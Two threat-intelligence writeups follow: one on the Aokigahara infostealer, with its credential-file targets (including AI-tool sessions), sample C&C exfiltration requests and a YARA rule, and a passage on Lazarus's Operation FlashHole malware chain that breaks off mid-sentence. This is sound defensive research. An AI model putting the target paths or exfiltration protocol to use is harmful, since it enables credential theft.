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john doe

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Infostealer riding the AI Train
Key Points Aokigahara , a newly observed infostealer, has been spotted in the wild. An earlier version may have been known as Kamidere or Stygian . The malware includes traditional data theft capabilities targeting browsers, VPN clients, cryptocurrency wallets, FTP/SFTP clients, password managers, and email applications, among other targets. AI applications and development tools are notable targets. The stealer collects authentication files, session data, and configuration files associated with Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, Gemini CLI, and other tools. Stolen AI credentials could offer opportunities for monetization. Usable credentials or session tokens could enable unauthorized access to paid AI services or the resale of compromised accounts. Its collection scope extends to developer and cloud environments. Targets include Git credential files, SSH private keys, and AWS, Azure, and Google Cloud credential and configuration files. Introduction Infostealers commonly target browser passwords, session cookies, and cryptocurrency wallets. This malware combines those established capabilities with dedicated collection routines for AI applications and development tools. Its targets include Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, and GitHub Copilot, alongside cloud credentials and sensitive files from local development environments. This expanded targeting reflects a broader shift in what attackers may consider valuable, not only personal accounts and financial data, but also access to AI services and the environments developers use to build software. Valid credentials or session tokens could expose private conversations and development data, enable unauthorized use of paid services, or potentially be sold to provide access to compromised AI accounts. While the malware’s collection routines support these possibilities, the analysis does not confirm how its operators monetize the stolen data. Stealer Capabilities and Targeted Applications The Aokigahara infostealer includes common information-stealing capabilities, such as screenshot capture, clipboard collection, browser credential and cookie theft, cryptocurrency wallet data collection, and file grabbing. It also includes a clipper handler that drops a separate component for clipboard manipulation. The malware targets Chromium-based browsers and Mozilla Firefox, desktop cryptocurrency wallets and browser wallet extensions, messaging applications such as Discord and Telegram, and gaming platforms such as Steam, Roblox, and Minecraft. Additional targets include password managers, VPN clients, FTP/SFTP clients, email applications, and AI development tools. The table below summarizes each handler, its targets, and any limitations identified during the analysis. The table below lists the malware’s main capabilities and their corresponding internal function names. FunctionWhat the handler targets sysinfo The machine and current user: computer/user names, IP, Windows version, CPU/RAM, screen size, language, uptime, running processes, environment variables, installed software, and detected antivirus. screenshot Captures the screen as Screenshot.jpg . clipboard Captures clipboard contents into Clipboard.txt . browsers Chromium-based browser profiles. The embedded paths name Chrome (including Beta/Canary), Edge (including Beta/Dev/Canary), Brave, Opera, Vivaldi, Yandex, 360Chrome, CentBrowser, CocCoc, Comodo Dragon, Epic Privacy Browser, Iridium, Torch, Slimjet, URBrowser, SRWare Iron, Chromium, 7Star, Amigo, Sputnik, Atom, Orbitum, QQBrowser, Naver Whale, Maxthon, Avast, AVG, CCleaner Browser, and Kinza. The handler collects browser profile data, including saved login data and cookies. firefox Mozilla Firefox profiles: saved logins ( logins.json , decrypted through NSS), key database, and cookies. wallets Desktop wallet files/data for Exodus, Atomic, Electrum, Electrum-LTC, Ethereum keystore, Zcash, Armory, Bytecoin, Jaxx, Guarda, Coinomi, Wasabi, Dogecoin, DashCore, Litecoin, Bitcoin, Monero, Daedalus, Binance, Ledger Live, and TokenPocket. It also scans Chromium profiles for wallet-extension data; identified extensions include MetaMask, Phantom, TronLink, Coinbase, Binance, and Trust. discord Discord’s Local Storage LevelDB files, looking for token-like strings. Output path: Messengers/Discord/Tokens.txt . telegram Telegram Desktop’s tdata directory. steam Steam configuration and login-related files: loginusers.vdf , config.vdf , and ssfn* files. outlook Microsoft Office Outlook profiles. The handler extracts email addresses, IMAP/POP3/SMTP server details, and passwords from profile data. vpn OpenVPN configs ( *.ovpn ), NordVPN, ProtonVPN, Private Internet Access, Surfshark, and Windscribe configs ( *.conf / *.json ). ftp FileZilla, WinSCP, CoreFTP, FlashFXP, and SmartFTP saved sites/sessions. The code formats output with host, username, and password fields. passman KeePass, Bitwarden, Bitwarden CLI, 1Password, Dashlane, RoboForm, NordPass, and Sticky Password data/config files. gaming Roblox cookies, Battle.net config, Epic Games config/logs, Riot Games client settings, Minecraft and Roblox launcher accounts/profiles, GOG Galaxy, Origin, and Ubisoft Game Launcher data. filegraber Files from the user’s Desktop, Documents, and Downloads, placed under Files/Documents or Files/Crypto . The handler applies configured matching criteria; I haven’t confirmed the full extension/filter list. thunderbird Mozilla Thunderbird profile files, archived under Mails/Thunderbird/... . websessions Chromium browser local/session storage, which can contain web-application session data. The table includes Chrome, Chrome Beta/Canary, Edge, Edge Beta, Brave, Opera, Vivaldi, Yandex, Arc, Thorium, and Chromium. discordforks Discord-derived/modded clients: token-like data from their LevelDB files and files such as settings.json , config.json , storage.json , and state.json . The exact client names come from a separate table I haven’t resolved here. aisessions AI/developer-tool credentials and sessions: Claude Code/Desktop, Codex, ChatGPT Desktop, AWS credentials/SSO and Amazon Q, Cursor, Windsurf, Kiro, GitHub Copilot/VS Code, Gemini CLI, and JetBrains AI Assistant. It also queries Windows Credential Manager. clipper/clipper_drop Drops a clipper component beneath C:\Microsoft\Vault using embedded data. The handler itself does not access the clipboard; it deploys the component responsible for clipboard manipulation. The targeted cryptocurrency wallets or address formats have not been confirmed. ide The ide handler collects local data from code editors and developer tools, including VS Code, Cursor, Windsurf, and JetBrains products. Notable targets include Git credential files, files under .ssh that may contain private keys, AWS/Azure/Google Cloud credential and configuration files, and GitHub Copilot storage. It passes matching file contents to the malware’s upload routine. If usable secrets are exposed, attackers could gain access to source code repositories, cloud resources, and other development services. AI Data Theft The more distinctive capability is the aisessions handler, which targets AI applications and development tools. These include Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, and Gemini CLI, alongside AWS credentials and single sign-on (SSO) data. This extends the malware’s collection beyond traditional personal accounts to authentication files, session data, and configuration files associated with AI-assisted development and cloud environments. The paths below identify the handler’s collection targets. Depending on the application, these files may contain tokens, credentials, session data, or settings; not every targeted file necessarily contains authentication secrets. Target Targeted paths Claude Code and Claude Desktop %s\.claude\credentials.json %s\.claude.json %s\Claude %s\Packages\Claude_pzs8sxrjxfjjc\LocalCache\Roaming\Claude Codex %s\.codex\auth.json %s\.codex\config.toml %s\.codex\.env ChatGPT Desktop %s\Packages\OpenAI.ChatGPT-Desktop_2p2nqsd0c76g0\LocalCache\Roaming\ChatGPT Cursor %s\Cursor\User\globalStorage\state.vscdb %s\Cursor\User\globalStorage\storage.json %s\Cursor - Insiders\User\globalStorage\state.vscdb %s\Cursor - Insiders\User\globalStorage\storage.json AWS CLI and SSO %s\.aws\credentials %s\.aws\config %s\.aws\sso\cache Amazon Q %s\amazon-q\data.sqlite3 Kiro IDE %s\.aws\sso\cache\kiro-auth-token.json %s\Kiro\User\globalStorage\kiro.kiroagent\profile.json Windsurf %s\Windsurf\User\globalStorage\state.vscdb %s\Windsurf - Next\User\globalStorage\state.vscdb Codeium %s\.codeium\config.json Visual Studio Code %s\Code\User\globalStorage\state.vscdb %s\Code - Insiders\User\globalStorage\state.vscdb GitHub Copilot %s\.copilot\config.json %s\.copilot\hosts.json Google Gemini CLI %s\gemini-cli-workspace-token.json %s\.gemini-cli-workspace-master-key %s\.gemini\.env %s\.gemini\config.json JetBrains AI Assistant %s\JetBrains\* %s\JetBrains\%s\options\AIAssistantQuotaManager2.xml Attackers target these files because they may contain authentication tokens, API keys, cloud credentials, and session data. If valid and usable, these secrets can allow attackers to access AI services or cloud environments without entering a password, potentially exposing private conversations, source code, and other sensitive information. Compromised accounts may also be used to consume paid services, generate unauthorized charges, or support further attacks. Anti-Analysis The infostealer includes several known anti-analysis checks, most of which run only when their corresponding configuration flags are enabled. The results of these checks determine whether the malware continues execution. It also dynamically resolves Windows API functions using hashes and uses control-flow flattening in some parts of the code, particularly around the configuration decryption routine. When the language-check flag is enabled, the malware checks the system’s keyboard layout and Windows UI language. If either matches a language ID represented in the bitmask 0x6C0400C8601 , the malware stops execution. The excluded language settings are listed below. IDLanguage/region 0x0419 Russian — Russia 0x0422 Ukrainian — Ukraine 0x0423 Belarusian — Belarus 0x0428 Tajik — Tajikistan 0x042B Armenian — Armenia 0x042C Azerbaijani (Latin) — Azerbaijan 0x0437 Georgian — Georgia 0x043F Kazakh — Kazakhstan 0x0440 Kyrgyz — Kyrgyzstan 0x0442 Turkmen — Turkmenistan 0x0443 Uzbek (Latin) — Uzbekistan The second configuration flag enables analysis-environment checks, including anti-debugging, virtual machine detection, and sandbox detection. The anti-debugging checks include: Inspection of debugger-related flags in the Process Environment Block (PEB). Queries for the process debug port and debug object. A debug-output string check. Inspection of hardware breakpoint registers ( DR0 – DR3 ). The malware checks for indicators of virtualized or analysis environments, including: Hypervisor identifiers obtained through the CPUID instruction. Registry entries and running processes associated with virtual machine guest tools. Firmware and System Management BIOS (SMBIOS) fingerprints. A low number of running processes. Suspicious usernames and computer names. Display characteristics and available hardware resources. The malware also checks usernames and computer names against strings commonly associated with test or analysis environments. The inspected strings include: "sandbox", "malware", "virus", "sample", "test", "user", "admin", "CurrentUser", "John", "Peter", "JOHN", "John Doe", "WDAGUtilityAccount" Additional checks monitor cursor movement and the number of running processes. These signals may help the malware identify automated analysis environments. Configuration The encrypted configuration blob is stored in the .stgcfg section. It begins with a four-byte magic value STGC , followed by the ciphertext length, a 16-byte initialization vector (IV) used for AES-CBC decryption, and the encrypted configuration data. struct EncryptedConfigBlob { DWORD magic; // Four-byte configuration magic DWORD ciphertext_len; // Encrypted configuration size in bytes BYTE iv[0x10]; // 16-byte AES-CBC initialization vector BYTE ciphertext[]; // Encrypted configuration data }; The AES IV is stored in the .stgcfg section, while the malware derives the AES key from a specific seed using the algorithm below. The routine produces a 32-byte key used to decrypt the configuration with AES-256-CBC. """ Author: @Tera0017/Check Point Research """ def decrypt_aes_key(seed: int, length: int = 32) -> bytes: key = bytearray() for i in range(length): seed ^= (seed >> (8 * (i & 3))) & 0xFF seed = (seed * 0x01000193) & 0xFFFFFFFF seed ^= seed >> 16 key.append(seed & 0xFF) return bytes(key) The decrypted configuration contains the command-and-control (C&C) URL, the server’s X25519 public key, a build ID, and a gate token used for communication. It also includes a module bitmask that controls which capabilities are executed, flags for language and analysis-environment checks, TLS certificate pinning settings, and up to three fallback URLs. struct DecryptedConfig { char base_url[0x100]; BYTE server_x25519_public_key[0x20]; char build_id[0x20]; char gate_token[0x40]; DWORD module_mask; BYTE unk_184[0x404]; BYTE language_check; BYTE analysis_environment_check; BYTE unk_58A; BYTE tls_certificate_sha256[0x20]; BYTE tls_pin_enabled; BYTE fallback_urls[3][0x100]; BYTE fallback_count; }; The malware uses the module_mask bitmask in its configuration to control which built-in capabilities are executed. Each entry in the module-dispatch table contains a function pointer and an associated feature mask. During dispatch, the malware performs a bitwise AND between module_mask and the entry’s feature mask. A nonzero result selects the corresponding function for execution. All module implementations remain embedded in the executable, even when disabled in the configuration. Network The malware retrieves its C&C connection settings from the decrypted configuration. It uses the /gate path as the base for three endpoints that handle session establishment, stolen data uploads, and session completion. PathDescription /gate/handshake Establishes an upload session by sending the client’s raw 32-byte X25519 public key. The malware requires an HTTP 200 response before enabling uploads. /gate/chunk Uploads collected information packaged into ZIP archives and encrypted using AES-256-GCM. Each request body contains a 12-byte nonce, ciphertext, and a 16-byte authentication tag. Headers identify the upload label and sequence number. /gate/complete Signals the end of the upload phase by sending the eight-byte marker COMPLETE . The malware expects an HTTP 200 response and subsequently performs local session cleanup. This notification does not independently establish that every upload succeeded. The stealer generates an X25519 key pair consisting of a public key and a private key. It then computes a shared secret using its private key and the server_x25519_public_key stored in the decrypted configuration. The malware derives the communication encryption key from this shared secret using SHA-256 and the fixed string aokigahara . The resulting 32-byte key is used for AES-GCM encryption. /handshake The initial handshake registers the upload session with the C&C server and sends the client’s 32-byte X25519 public key in the request body. The request headers include the build ID, gate token, session ID, hardware identifier, and key exchange algorithm. POST /gate/handshake HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Microsoft-CryptoAPI/10.0 X-Build-ID: cae87a25 X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e X-Session: ca47b44161834cb70a224dbe3d92a383 X-HWID: 69B506A1 X-KEX: x25519 Content-Length: 32 Host: $SERVER $CLIENT_X25519_PUBLIC_KEY /chunk For each executed collection module, the malware uploads an AES-GCM-encrypted ZIP archive to /gate/chunk . The X-Chunk header identifies the type of stolen data, using module labels such as sysinfo , browsers , firefox , or aisessions . The X-Chunk-Index header identifies the upload’s sequence number, which is also included in the request body. The malware allocates an upload buffer with a size equal to the ZIP archive’s size plus 28 bytes. The buffer begins with a 12-byte AES-GCM nonce, formed by combining the four-byte little-endian chunk index with eight randomly generated bytes. The encrypted ZIP archive follows the nonce, and a 16-byte AES-GCM authentication tag is appended at the end. POST /gate/chunk HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Microsoft-CryptoAPI/10.0 X-Build-ID: 4dbf818f X-HWID: 69B506A1 X-Chunk: sysinfo X-Chunk-Index: 0 X-Session: ca47b44161834cb70a224dbe3d92a383 X-Total: 19 X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e Content-Length: 3233 Host: $SERVER \x00\x00\x00\x00$RANDOM_8_BYTES || $AES_GCM_CIPHERTEXT || $GCM_AUTH_TAG_16_BYTES The next example uploads screenshot data with a chunk index of 1 . The request body begins with \x01\x00\x00\x00 . POST /gate/chunk HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Microsoft-CryptoAPI/10.0 X-Build-ID: 4dbf818f X-HWID: 69B506A1 X-Chunk: screenshot X-Chunk-Index: 1 X-Session: ca47b44161834cb70a224dbe3d92a383 X-Total: 19 X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e Content-Length: 10066 Host: $SERVER \x01\x00\x00\x00$RANDOM_8_BYTES || $AES_GCM_CIPHERTEXT || $GCM_AUTH_TAG_16_BYTES /complete After uploading all ZIP archives, the malware sends a final HTTP POST request to /gate/complete on the C&C server. The request body contains the eight-byte message COMPLETE , indicating that the upload process has finished. POST /gate/complete HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Microsoft-CryptoAPI/10.0 X-Build-ID: 4dbf818f X-HWID: 69B506A1 X-Session: ca47b44161834cb70a224dbe3d92a383 X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e Content-Length: 8 Host: $SERVER COMPLETE The stealer appears to be under active development, with changes to its HTTP User-Agent string observed across versions. The latest analyzed samples use Microsoft-CryptoAPI/10.0 for communication with the server. Conclusion The malware retains the broad collection capabilities expected of an infostealer, but its dedicated targeting of AI applications and developer tools is particularly notable. By collecting authentication files, application storage, Git credentials, SSH-related files, and cloud configuration data, it reaches beyond traditional consumer accounts into AI-assisted development and cloud environments. The targeting of AI sessions creates a potential route to monetization through unauthorized use of paid services or the resale of compromised access. It may also create opportunities for data extortion. Users can share sensitive business information, proprietary source code, and other confidential material with AI services. If stolen credentials or session tokens provide access to conversation histories or uploaded files, attackers could potentially threaten to disclose that information to demand payment. The key finding is that AI application credentials and session data are part of this malware’s collection scope and should be treated as sensitive assets alongside browser sessions, cloud credentials, and developer keys. Indicators of Compromise DescriptionValueAokigahara SHA1007137599bc4d69ee952a5228b5fcb2c3b9a95a7 00d52c7e759d878f0d8a117502f6d854af13f007 04eddccb79db41e03a4ee8542e8a33d7f1d9fe18 057a2d1dedeb93b7765c455a9e0c469e7cbe4843 079ddf5cc7d6ca2e02f860f87d4d18c83db9d331 0b74ce90a39278fb97fe94f6306af71cbe679503 0c46ac5555cf8f305c1345a21d0802c52bf52cd8 0d8d0bad2e08856ba379e425e2e90e49506af631 0e76150cee3f2b89f0fbe39106ab2898db109f09 0f69792cb926a416766d47a30a05009c13be0d64 130f2710cf9863bdd6724e8912600505b6fb7ef2 133dc00ad81638e6b0a2f8f163b4d694ce477165 151d8013ca3ab3dab9cd37f4ed9870cc83e87a77 1701db4fa798b309cb25227408406dde4c69de8a 1835f1e0b1eda3dc4b39682ecad3eba88cbbc44e 18e041b5a0c668392ff4d036f3f9660c2698311e 1a6a6e08a01cc3f1455af2c4ecd59a3d7802cd7a 1a7248720f3ac79082841b006582f20799b314a9 1a97a18db74f2b6df984c9a188a79b4e65a06b81 1cb6ccfdcb277a0277729443d15f17a441fa0eda 1cb8dc11bdb8baf342b83079fb650cd6bb1b132d 1e072236f87cd914dc583ca2163460d656bfcfba 1e94d7f1d501724076fcf98459e14b68321d45f7 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f8cf33b18e9932d285696fee40a7fee2a87341c2 f8dbc552c89bef758e4fcbd9942d06bc0c11db0a f990bf4f05dfa4d86b3e3bc0a54f62e91b83f2c6 fa61cf3bebefd88ea9d06007a4b85791aa851c8a fbe8708247fabd8a1bc3963db3911b5e77728669 fe6b7d6fa8c2424d14a0d465ab78aaf83db0d07b ff402e64bc42222c8a4ee703123903c2a2117dd9Aokigahara C&C2[.]26[.]252[.]48:8080 dfwioeiofwr[.]info dobeqnesmot[.]cc gate[.]dfwioeiofwr[.]info hjazfioe[.]surf kkeyyou[.]cc neihite[.]cc somelitersofblood[.]pwClipper8d6c86e0af7807f9b5baf15e9f076bb81e012515 Yara Rule rule aokigahara { meta: author = "@Tera0017/Check Point Research" description = "Aokigahara Stealer" strings: $str1 = "X-Chunk-Index: %u" ascii fullword $str2 = "X-Build-ID: %s" ascii fullword $str3 = "AKGRES" ascii fullword $str4 = "AISessions/" ascii $str5 = "\\\\.\\pipe\\akg_%lx_%lx" ascii fullword $str6 = "sysinfo\x00screenshot\x00clipboard" $str7 = "aokigahara" ascii fullword $str8 = "kamidere" ascii fullword $str9 = "/chunk" ascii fullword $str10 = "%s\\kmd_w_%d_%d.db" ascii fullword $str11 = ".ROBLOSECURITY" ascii fullword $code1 = {45 69 ED B1 79 37 9E 48 C1 EF 11 48 C1 EA 20 41 31 D6 41 31 C6 41 31 FD 45 89 77 04 45 89 6F 08} $code2 = {41 4B 47 52 45 53 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EF BE AD DE } condition: uint16(0) == 0x5A4D and 3 of them } The post Infostealer riding the AI Train appeared first on Check Point Research .
research.checkpoint.comOct 23, 2026extracted
Operation FlashHole: Lazarus breaks security, defies control
In January, we responded to the Lazarus Group’s novel attack campaign against South Korea, which followed last year’s Operation SyncHole . In this new operation, the group employed an updated malware chain that included both their old and new malware, which we disclosed in full, and used another mandatory South Korean security software program as a part of infection chain using a watering‑hole strategy. Notably, the group targeted victims more selectively, sending spear‑phishing emails with links to fabricated but relevant sites, such as portfolio and résumé pages tailored to each target. We dubbed this activity Operation FlashHole. Operation FlashHole attack flow during initial compromise Our examination reveals that the earliest evidence of this new operation dates back to July 2025. This suggests the group began preparing for the campaign shortly after ending Operation SyncHole, which lasted at least four months. We identified a minimum of three organizations impacted by the campaign in South Korea’s software, construction, and wired communication equipment manufacturing sectors. These sectors differ from those affected by Operation SyncHole, indicating that the group has expanded its target scope over time. Background After more than a year since the first observation of Operation SyncHole, we detected a suspicious execution chain originating from legitimate South Korean software. This chain mirrors the one from the previous operation; however, this time, the attacker abused CrossWeb EX instead of Cross EX, which was abused in Operation SyncHole. Both applications appear to be maintained by the same vendor, and both are related to financial security. CrossWeb EX is a financial security solution that is required to access widely used online banking and government websites. It encrypts communications between the user’s browser and the web server using public key infrastructure (PKI). This is not the first time Lazarus has abused this software. It was also used in 2021 to deploy the Racket downloader and again in 2022 and 2023 . Although the exact method by which CrossWeb EX was abused remains unclear, we determined that the attack chain ultimately leads to the execution of the malware in memory. We noted that the spawned process was running with a high integrity level. The parent process, INISAFECrossWebEXSvc.exe , originates from the installation bundle of INISAFE CrossWeb EX V3 version 3.4.1.2, released in 2023 after KrCERT’s public advisory . As we already mentioned in our SyncHole blog post, this pattern closely mirrors the long‑standing strategy employed by the Lazarus Group to target South Korea. Since CrossWeb EX and similar software is mandatory for South Korean users and typically runs in the background to interact with the browser, it has been leveraged as a critical attack vector by the group. In 2025, a paper was presented at the USENIX Security Symposium that investigated vulnerabilities in South Korea’s mandatory security software and demonstrated how such software can unintentionally create a massive attack surface. In July 2026, the South Korean government and several local security vendors also published a joint security advisory covering typical Lazarus attack techniques, including exploitation of financial security software. While this advisory overlaps with our findings from Operation FlashHole and Operation SyncHole, and AhnLab’s detailed analysis report Operation Double Barrel covers a wide range of recent Lazarus Group activities, we are conducting a more granular classification based on their TTPs. We will discuss this further in the attribution section. Initial infection vector Although we could not precisely determine what triggered the infection chain, our analysis uncovered a suspicious website hosted on GitHub Pages that is associated with the GitHub account used as the C2 channel. The GitHub account was created last September, and the initial version of the site was designed to showcase the résumé of a senior network appliance developer. In January, however, this site was replaced with another featuring an interior design showcase. The first site was likely accessed by an employee of a wired communication manufacturing company, while the second site likely affected a target in the construction sector. Appearance of the malicious websites The first site with the résumé had a photograph supposedly of a job seeker, but the lack of EXIF metadata and the unnatural texture of the image indicate that it was generated by AI. This suggests the Lazarus Group has incorporated AI into its long‑standing strategy, like other Korean‑speaking threat actors ( 1 , 2 ). The group most likely also used AI to create the lure site: the job seeker’s name resembles the Korean version of “John Doe,” and the portfolio was populated with seemingly meaningless details and random companies. The generated site was then manually tailored to specific targets. Suspected use of an AI-generated image on the résumé site The websites contained embedded links that loaded an external JavaScript file via a script tag. Malicious link embedded in the résumé site: hxxps://javadevhouse.co[.]kr/ajax/libs/jquery/1.7.3/jquery.min.js Malicious link embedded in interior design site: hxxps://pythonapischool[.]com/api/detach Based on the analysis, we assess with medium-to-high confidence that the targets received phishing emails containing links to the malicious site hosted on GitHub Pages (using the domain <username>.github.io). The research results showed a high possibility that visiting the malicious site initiated an infection process involving CrossWeb EX software. This assessment aligns with Lazarus’s recent approach, as detailed in the joint advisory published by the South Korean government and security companies. Full infection chain Following the initial compromise, the legitimate Windows binary fsquirt.exe was executed under the CrossWeb EX process and injected with shellcode containing a malicious DLL – TechHub malware. From our extensive and thorough examination, we identified several malicious payloads and reconstructed the complete infection chain. The infection chain is rather complex and reveals the Lazarus Group’s advanced operational techniques on targeted hosts. These techniques conceal their malicious payloads, intent and their sophisticated malware delivery framework. The latter was updated extensively compared to the previous campaign, despite the new operation starting less than a year later. Significantly, the execution chain below exists only in memory during the initial infiltration, highlighting the attackers’ considerable efforts to hide the initial compromise. Initial infection chain Following the initial compromise, the group sought to maintain persistence on the network by installing a pair of malware strains – TouchHub and TouchShift – leveraging DLL side‑loading under the name mscoree.dll . TouchHub was deployed by the first instance of TechHub. It then used DLL side-loading to launch TouchShift, which led to the in‑memory execution of another TechHub instance. After launching the second time, TechHub deployed another pair, ClientHub and LPEClient, rather than executing Cubridge directly. Only minimal traces of these files were found on disk; the remainder of the malicious code persisted exclusively in memory. Expanded infection chain after gaining persistence Since Cubridge remains only in memory at the initial compromise stage, we suspect the group designed this indirect, multistage chain to deliberately redeploy Cubridge after gaining persistence, as it serves as the most sophisticated orchestrator of the attack. Malware set The full chain comprises advanced variants of the known Lazarus malware strains, including TechHub, Cubridge, TouchShift, LPEClient, and the newly identified TouchHub and ClientHub. TechHub – the start of the chain TechHub, a downloader that plays a central role in this attack, communicates with GitHub using a Personal Access Token (PAT). It serves as the initial payload, providing the top of the chain with sufficient functionality to profile compromised hosts and facilitate subsequent payloads. This variant is a more advanced version of the malware named CLOUDBURST by Mandiant and NickelLoader by ESET. According to their reports, the earlier version communicated with a C2 server via HTTP(S) to fetch additional payloads. The latest iteration we found, however, communicates with GitHub instead and has updated command strings. We identified three variants of TechHub in the chain: an in‑memory version, a simple DLL side‑loading version, and a DLL side‑loading version that uses a registered Windows service. Depending on which stage loads the malware, it contacts a private GitHub repository via the GitHub API using either hard‑coded credentials or credentials retrieved from its configuration file. When TechHub loads, it creates a 4‑byte hexadecimal identifier (ID) in the range 0x1000–0xFFFF or reads one from the configuration file, enabling the attackers to distinguish between compromised hosts. TechHub then checks a GitHub issue by sending the request GET /issues?state=[open/closed] to determine whether any previous communication remains active and removes any traces of it if found. It then proceeds with the handshaking process. It creates a new issue titled 1[ID] with the body “hel” using the POST /issues request, and sets its status to open. It then retrieves a file from the repository containing the 2[ID] value in its name. This file contains the RSA public key. It generates a random 16‑byte XOR key, encrypts it with the provided RSA public key, and uploads the result, prefixed with 1[ID] , to the repository. The hard‑coded IV is XORed with the generated 16‑byte key and then used after the handshake. During file exchange, filenames follow the pattern [1|2][ID][random-16-byte-key] throughout communication. The “2” prefix indicates delivery from the repository to TechHub, while “1” indicates delivery from TechHub to the repository. The random 16‑byte key in the filename is used for AES encryption or decryption of each file’s contents, employing either a hard‑coded IV or an updated IV. After the key exchange is complete, TechHub reads a file with the prefix “2” once again and verifies that the delivered data equals “hel”. If the check passes, TechHub gathers extensive information from the infected host. This data is then encrypted and sent to the repository. After transmitting the device information, the process concludes by updating the body of the previously created issue from “hel” to “hey” using PATCH /issues/[issue number] . The malware is now fully prepared to receive commands from the repository. TechHub supports four commands. The laeca command deploys a payload packaged in shellcode that reflectively loads the embedded payload directly into memory. Command Description mqdrz Collect information about the device and its running processes laeca Directly invoke the received shellcode in memory aqvxp Terminate the current process rtcya Beaconing after finishing the handshake process Cubridge – the framework orchestrator Cubridge, deployed via TechHub on the compromised host, is capable of retrieving various payloads through multiple methods. It serves as the central orchestrator of the entire malware framework, supporting a range of plugins, modules, and tools. An earlier version of Cubridge was also disclosed in the reports covering the previous version of TechHub. In those reports, Mandiant identified it as SIDESHOW, and ESET identified one of its modules as LightlessCan. To establish communication with the C2 server, Cubridge randomly selects one of the predefined C2 servers and constructs a dedicated C2 URL for every request, using the pattern [C2_URL]/[page1]/[page2]/[page3] . This is achieved by concatenating terms from predefined word lists. Our analysis identified a single hardcoded C2 server – hxxps://cubedesign[.]co[.]kr/news/AABBCC – associated with the examined instance that is configured to version 5.1. During URL generation, AABBCC is substituted with a null value. The page3 segment is assigned a randomly generated integer between 10000000 and 99999999 . Consequently, each generated URL is designed to appear authentic and remain unique for each request. The predefined list for page1 is shown below. TechHub randomly selects one item from the list. economy, opinion, politics, national, international, medical, investment, sports, lifestyle, shopping, culture The predefined word list for page2 is shown below. article, list, story This means the hardcoded URL can later be transformed, for example, into hxxps://cubedesign[.]co[.]kr/news/economy/article/12345678 by following the steps described above. Authentication using the POST request with the C2 server requires three parameters in the form of key‑value pairs. Each key is randomly generated using a different predefined word dictionary, and the associated values consist of a randomly generated 8‑byte hexadecimal bot ID, a fixed authentication token ( KW4Ofw982CNJjxd51AVqkGAop ), and a randomly generated 16‑byte hexadecimal session ID. Cubridge employs a more robust handshaking process than TechHub, combining the RSA and RC6 algorithms. Unlike TechHub, it skips the profiling step and proceeds directly to command and control after the handshake. During communication, the malware mimics browser requests, using X‑CSRF‑Token and X‑Requested‑With headers for authentication and the Upgrade‑Insecure‑Requests header to request additional data. Cubridge’s communication sequence Cubridge contains extensive functionality, with a particular focus on loading subsequent‑stage payloads. The commands employ various techniques, such as DLL injection, reflective loading, and section‑mapping injection. The payloads may be delivered in various forms: Plugins – reusable extensions that add functionality as needed and can be invoked at any time (in shellcode and DLL form); Tools (in DLL form) – independent utilities that perform one-off tasks; Modules – components that are loaded once and remain active providing an extended set of functionalities. It is anticipated that the commands for plugins and shellcode will load identical types of plugins because both support a similarly formed exported function for subsequent activity. The shellcode can be generated using the open‑source sRDI tool to package a DLL‑style plugin. The capabilities of a single DLL are likely utilized to load a tool that works independently because when a single DLL is loaded, only its DllMain entry point and its parameters are accessible; no other exported functions are exposed. Command Payload type Description 0 – Collect device info including the computer name, time zone, PID, and other similar details 1 Archive the specified file/directory using the legacy ZipCrypto algorithm and the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/ 2 Create a file at the specified path 3 Possibly plugin Inject the provided DLL payload into the target process and load it reflectively using reflective DLL injection 4 Plugin Reflectively load a plugin in DLL format 5 Retrieve the address of the specified exported function from the target plugin and run it with the provided parameters 6 Retrieve all information about the loaded plugins 7 Unload the specified plugin 8 Shellcode Inject the provided shellcode into the target process and load it using section mapping injection 9 Load the provided shellcode directly into memory 10 Retrieve the address of the specified export function from the target shellcode (likely a plugin in shellcode form) and run it with the provided parameter 11 Retrieve all information about the loaded shellcode 12 Unload the specified shellcode 13 – Set the scheduled Cubridge execution time (in minutes) by updating a global variable 14 Set the scheduled Cubridge execution time (in minutes) by updating a global variable, while disabling monitoring by also updating another global variable 15 Terminate in a controlled manner 16 Get the configuration for Cubridge: retrieve the global flags, the number of C2 servers, the C2 addresses, etc. 17 Update the global flags, the number of C2 servers, the C2 addresses, etc. 18 Tool Load a DLL reflectively with the specified parameter 19 Configure the parameters for loading a single DLL 20 Unload the single DLL 21 Module Load the “action module” ( ActionModule.dll ) reflectively and invoke its AppinfoView export function 22 Load the “function module” ( FunctionModule.dll ) reflectively and invoke its PresentationFontConfig export function Commands 21 and 22 each load a different module. As their internal names imply, the action module manages basic file and process operations, while the function module implements Windows’ default commands. The action module covers commands 23–41 , and the function module handles commands 42–79 . The action module handles system operation commands, file system interactions, and process behavior. It is invoked by passing the appropriate command and parameters to its AppinfoView export function. The module supports 19 commands, numbered 23 through 41 . Execution results are first sent to Cubridge, which then forwards them to the C2 server. Command Role 23 Get local disk space for each drive 24 Get information about the specified file or directory 25 Execute the provided command 26 Get information about the specified file or directory (similar to command 24) 27 Execute the provided command under the target process (PPID spoofing) 28 Execute the provided command under the target process within the provided session (PPID spoofing + session impersonation) 29 Get detailed information about processes 30 Terminate the provided process 31 Suspend all threads belonging to the specified process 32 Resume all threads belonging to the specified process 33 Permanently delete the file by overwriting its entire contents with the sequence: 0 → 1 → random bytes → 1 → 0 34 Rename the provided file to :EFS (the alternate data stream area) and delete it using the native API SetFileInformationByHandle 35 Set the current working directory 36 Copy the specified file to the provided path 37 Delete the specified directory 38 Move the specified file to the provided path 39 Create the provided directory 40 Initiate a non‑blocking connection attempt to the specified IP address and port (possibly for port scanning) 41 Read the specified file The function module implements commands that emulate Windows’ built-in commands. Similar to the action module, its DllMain routine initializes all supported command functions, which are later accessed through the 